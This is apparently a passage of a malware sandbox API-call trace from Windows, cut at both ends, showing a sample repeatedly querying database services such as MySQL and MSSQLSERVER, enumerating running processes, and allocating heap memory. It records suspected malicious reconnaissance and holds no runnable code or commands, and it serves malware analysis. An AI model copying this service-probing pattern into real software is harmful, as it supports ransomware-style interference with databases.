lpServiceName="MySQL", dwDesiredAccess=0xf01ff) returned 0x0 [0125.211] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.211] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x820850 [0125.211] OpenServiceA (hSCManager=0x820850, lpServiceName="MySQLa", dwDesiredAccess=0xf01ff) returned 0x0 [0125.212] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.212] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x8208f0 [0125.212] OpenServiceA (hSCManager=0x8208f0, lpServiceName="SQLWriter", dwDesiredAccess=0xf01ff) returned 0x0 [0125.212] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.212] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x820990 [0125.212] OpenServiceA (hSCManager=0x820990, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0xf01ff) returned 0x0 [0125.212] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.213] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81d478 [0125.213] OpenServiceA (hSCManager=0x81d478, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0xf01ff) returned 0x0 [0125.213] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.213] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81d518 [0125.213] OpenServiceA (hSCManager=0x81d518, lpServiceName="MSSQLSERVER", dwDesiredAccess=0xf01ff) returned 0x0 [0125.213] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.213] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81d5b8 [0125.214] OpenServiceA (hSCManager=0x81d5b8, lpServiceName="UxSms", dwDesiredAccess=0xf01ff) returned 0x820738 [0125.214] QueryServiceStatus (in: hService=0x820738, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0125.214] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x140 [0125.219] Process32First (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.219] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0125.220] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0125.220] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.220] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0125.221] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.221] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0125.222] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0125.222] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0125.273] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0125.274] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.274] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.275] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.275] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.276] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.276] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0125.277] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.277] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.278] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0125.278] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0125.279] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0125.279] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.279] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0125.280] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0125.280] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.281] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0125.281] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.282] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outputs_extras.exe")) returned 1 [0125.282] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sustainedclassical.exe")) returned 1 [0125.283] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sons.exe")) returned 1 [0125.283] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="catering-methodology-bike.exe")) returned 1 [0125.284] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ultram-cal.exe")) returned 1 [0125.284] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yugoslavia.exe")) returned 1 [0125.285] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="richmond-acid-cindy.exe")) returned 1 [0125.285] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vulnerability_remained_qualities.exe")) returned 1 [0125.285] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="recipe.exe")) returned 1 [0125.286] Process32Next (in: hSnapshot=0x140, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="grades-employers.exe")) returned 1 [0125.453] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81d6f8 [0125.454] OpenServiceA (hSCManager=0x81d6f8, lpServiceName="MySQL", dwDesiredAccess=0xf01ff) returned 0x0 [0125.454] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.454] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81d798 [0125.454] OpenServiceA (hSCManager=0x81d798, lpServiceName="MySQLa", dwDesiredAccess=0xf01ff) returned 0x0 [0125.454] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.454] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81d838 [0125.455] OpenServiceA (hSCManager=0x81d838, lpServiceName="SQLWriter", dwDesiredAccess=0xf01ff) returned 0x0 [0125.455] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.455] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81d8d8 [0125.455] OpenServiceA (hSCManager=0x81d8d8, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0xf01ff) returned 0x0 [0125.455] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.455] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81d978 [0125.456] OpenServiceA (hSCManager=0x81d978, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0xf01ff) returned 0x0 [0125.456] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.456] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81da18 [0125.456] OpenServiceA (hSCManager=0x81da18, lpServiceName="MSSQLSERVER", dwDesiredAccess=0xf01ff) returned 0x0 [0125.456] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.456] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81dab8 [0125.456] OpenServiceA (hSCManager=0x81dab8, lpServiceName="UxSms", dwDesiredAccess=0xf01ff) returned 0x81d680 [0125.457] QueryServiceStatus (in: hService=0x81d680, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0125.457] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144 [0125.463] Process32First (in: hSnapshot=0x144, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.591] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81dbf8 [0125.592] OpenServiceA (hSCManager=0x81dbf8, lpServiceName="MySQL", dwDesiredAccess=0xf01ff) returned 0x0 [0125.592] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.593] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81e0c8 [0125.593] OpenServiceA (hSCManager=0x81e0c8, lpServiceName="MySQLa", dwDesiredAccess=0xf01ff) returned 0x0 [0125.593] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.594] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81e168 [0125.594] OpenServiceA (hSCManager=0x81e168, lpServiceName="SQLWriter", dwDesiredAccess=0xf01ff) returned 0x0 [0125.594] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.594] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81e208 [0125.594] OpenServiceA (hSCManager=0x81e208, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0xf01ff) returned 0x0 [0125.594] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.595] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81e2a8 [0125.595] OpenServiceA (hSCManager=0x81e2a8, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0xf01ff) returned 0x0 [0125.595] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.595] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81e348 [0125.595] OpenServiceA (hSCManager=0x81e348, lpServiceName="MSSQLSERVER", dwDesiredAccess=0xf01ff) returned 0x0 [0125.595] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0125.595] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x81e3e8 [0125.596] OpenServiceA (hSCManager=0x81e3e8, lpServiceName="UxSms", dwDesiredAccess=0xf01ff) returned 0x81db80 [0125.596] QueryServiceStatus (in: hService=0x81db80, lpServiceStatus=0x18ead0 | out: lpServiceStatus=0x18ead0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0125.596] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148 [0125.601] Process32First (in: hSnapshot=0x148, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.719] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.719] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.719] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.720] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a4a8 [0125.720] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f7ee0 [0125.720] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.720] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.720] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.720] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a450 [0125.720] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f7f18 [0125.721] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.721] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.721] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.721] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a558 [0125.721] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f7f50 [0125.721] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.721] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.721] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.721] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a5b0 [0125.722] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f7f88 [0125.722] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.722] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.722] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.722] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a608 [0125.722] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f7fc0 [0125.723] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.723] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.723] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.723] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x50) returned 0x81a660 [0125.723] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7f7ff8 [0125.723] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.723] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: 